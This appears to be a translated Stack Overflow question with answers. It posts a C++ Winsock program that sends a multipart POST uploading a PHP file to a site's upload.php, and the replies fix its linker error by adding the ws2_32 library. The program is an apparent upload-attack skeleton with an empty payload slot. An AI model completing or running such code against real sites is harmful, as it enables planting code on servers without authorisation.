-3

我正在尝试编译这个简单的应用程序:

#include <winsock2.h>
#include <iostream.h>
#include <string.h>

using namespace std;
unsigned long WinsockStart()

{

WSADATA wsa;
unsigned long ULONG;
struct hostent *target;

if(WSAStartup(MAKEWORD(2,2), &wsa) < 0)
{
cout << "Exploit failed!" << endl;

WSACleanup();
return 1;
}

if((target=gethostbyname("www.website.com/script.php"))<0)
{
cout << "That is not a valid host bro!" << endl;

WSACleanup();
return 2;
}

ULONG = *(unsigned long*) target->h_addr;
return ULONG;
}

void error_exit(string text)
{
cout << text;
WSACleanup();
exit(EXIT_FAILURE);
}

int main()
{
SOCKET sock;
struct sockaddr_in addr;
unsigned long win=0;
int con = 0, gr=0, send_r=0, rec=0;
char header[2048], buffer[2018];
string to_send="Paste the php script hire";
string name ="file.php";

win=WinsockStart();
if(win==1||win==2)
error_exit("failed!");

addr.sin_family=AF_INET;
addr.sin_port=htons(80);
addr.sin_addr.s_addr = win;

sock = socket(AF_INET, SOCK_STREAM, 0);

if(sock<0)
error_exit("failed!");

gr = (to_send.size()+name.size()+287);

sprintf(header, "POST /upload.php HTTP/1.1\r\n");
sprintf(header, "%sHost: www.website.com/script.php\r\n", header);
sprintf(header, "%sConnection: Keep-Alive\r\n", header);
sprintf(header, "%sContent-Type: multipart/form-data; boundary=---------------------------90721038027008\r\n", header);
sprintf(header, "%sContent-Length: %d\r\n", header, gr);
sprintf(header, "%s\r\n", header);
sprintf(header, "%s-----------------------------90721038027008\r\n", header);
sprintf(header, "%sContent-Disposition: form-data; name=\"images\"; filename=\"%s\"\r\n", header, name.c_str());
sprintf(header, "%sContent-Type: text/plain\r\n", header);
sprintf(header, "%s\r\n", header);
sprintf(header, "%s%s\r\n", header, to_send.c_str());
sprintf(header, "%s-----------------------------90721038027008\r\n", header);
sprintf(header, "%sContent-Disposition: form-data; name=\"post\"\r\n", header);
sprintf(header, "%s\r\n", header);
sprintf(header, "%supload\r\n\r\n", header);
sprintf(header, "%s-----------------------------90721038027008--\r\n\r\n\0", header);      

con = connect(sock, (SOCKADDR*)&addr, sizeof(addr));
if(con < 0)
error_exit("failed!");

if(send_r=send(sock, header, strlen(header), 0)<0)
error_exit("failed!");

while (rec=recv(sock, buffer, 2048, 0)) /* 2048Bytes Usage */
{
if(rec==0)
error_exit("Quit it!");
printf("%s", buffer);
}

closesocket(sock);
WSACleanup();
return EXIT_SUCCESS;
}

并给我这个错误:

Compiler: Default compiler
Executing  g++.exe...
g++.exe "C:\Users\Lavoro\Desktop\upload.cpp" -o "C:\Users\Lavoro\Desktop\upload.exe"    -I"C:\Dev-Cpp\lib\gcc\mingw32\3.4.2\include"  -I"C:\Dev-Cpp\include\c++\3.4.2\backward"  -I"C:\Dev-Cpp\include\c++\3.4.2\mingw32"  -I"C:\Dev-Cpp\include\c++\3.4.2"  -I"C:\Dev-Cpp\include"   -L"C:\Dev-Cpp\lib" 
In file included from C:/Dev-Cpp/include/c++/3.4.2/backward/iostream.h:31,
                 from C:\Users\Lavoro\Desktop\upload.cpp:2:
C:/Dev-Cpp/include/c++/3.4.2/backward/backward_warning.h:32:2: warning: #warning This file includes at least one deprecated or antiquated header. Please consider using one of the 32 headers found in section 17.4.1.2 of the C++ standard. Examples include substituting the <X> header for the <X.h> header for C++ includes, or <iostream> instead of the deprecated header <iostream.h>. To disable this warning use -Wno-deprecated.

C:\Users\Lavoro\AppData\Local\Temp/ccMleaaa.o(.text+0x11b):upload.cpp: undefined reference to `WSAStartup@8'
C:\Users\Lavoro\AppData\Local\Temp/ccMleaaa.o(.text+0x14b):upload.cpp: undefined reference to `WSACleanup@0'
C:\Users\Lavoro\AppData\Local\Temp/ccMleaaa.o(.text+0x163):upload.cpp: undefined reference to `gethostbyname@4'
C:\Users\Lavoro\AppData\Local\Temp/ccMleaaa.o(.text+0x1b2):upload.cpp: undefined reference to `WSACleanup@0'
C:\Users\Lavoro\AppData\Local\Temp/ccMleaaa.o(.text+0x462):upload.cpp: undefined reference to `htons@4'
C:\Users\Lavoro\AppData\Local\Temp/ccMleaaa.o(.text+0x48b):upload.cpp: undefined reference to `socket@12'
C:\Users\Lavoro\AppData\Local\Temp/ccMleaaa.o(.text+0x6fc):upload.cpp: undefined reference to `connect@12'
C:\Users\Lavoro\AppData\Local\Temp/ccMleaaa.o(.text+0x81c):upload.cpp: undefined reference to `send@16'
C:\Users\Lavoro\AppData\Local\Temp/ccMleaaa.o(.text+0x936):upload.cpp: undefined reference to `recv@16'
C:\Users\Lavoro\AppData\Local\Temp/ccMleaaa.o(.text+0xb0e):upload.cpp: undefined reference to `closesocket@4'
C:\Users\Lavoro\AppData\Local\Temp/ccMleaaa.o(.text+0xb16):upload.cpp: undefined reference to `WSACleanup@0'
collect2: ld returned 1 exit status

Execution terminated

问题出在哪里 ?我使用 dev c++ whit windows 7 home。如果我需要安装任何库,请指定我需要安装的库的名称。谢谢你们

4

2 回答 2

7

这不是编译错误,而是链接器错误。它告诉您它找不到 Windows 套接字函数,因为您没有与 wsock32 库链接。

编辑您的项目设置以添加它。

于 2013-07-01T14:29:13.283 回答
0

您在链接器选项中缺少ws2_32.lib。这样做

转到项目属性-->链接器-->输入-->附加依赖项(在文本框中添加 ws2_32.lib)

于 2013-07-01T14:35:36.403 回答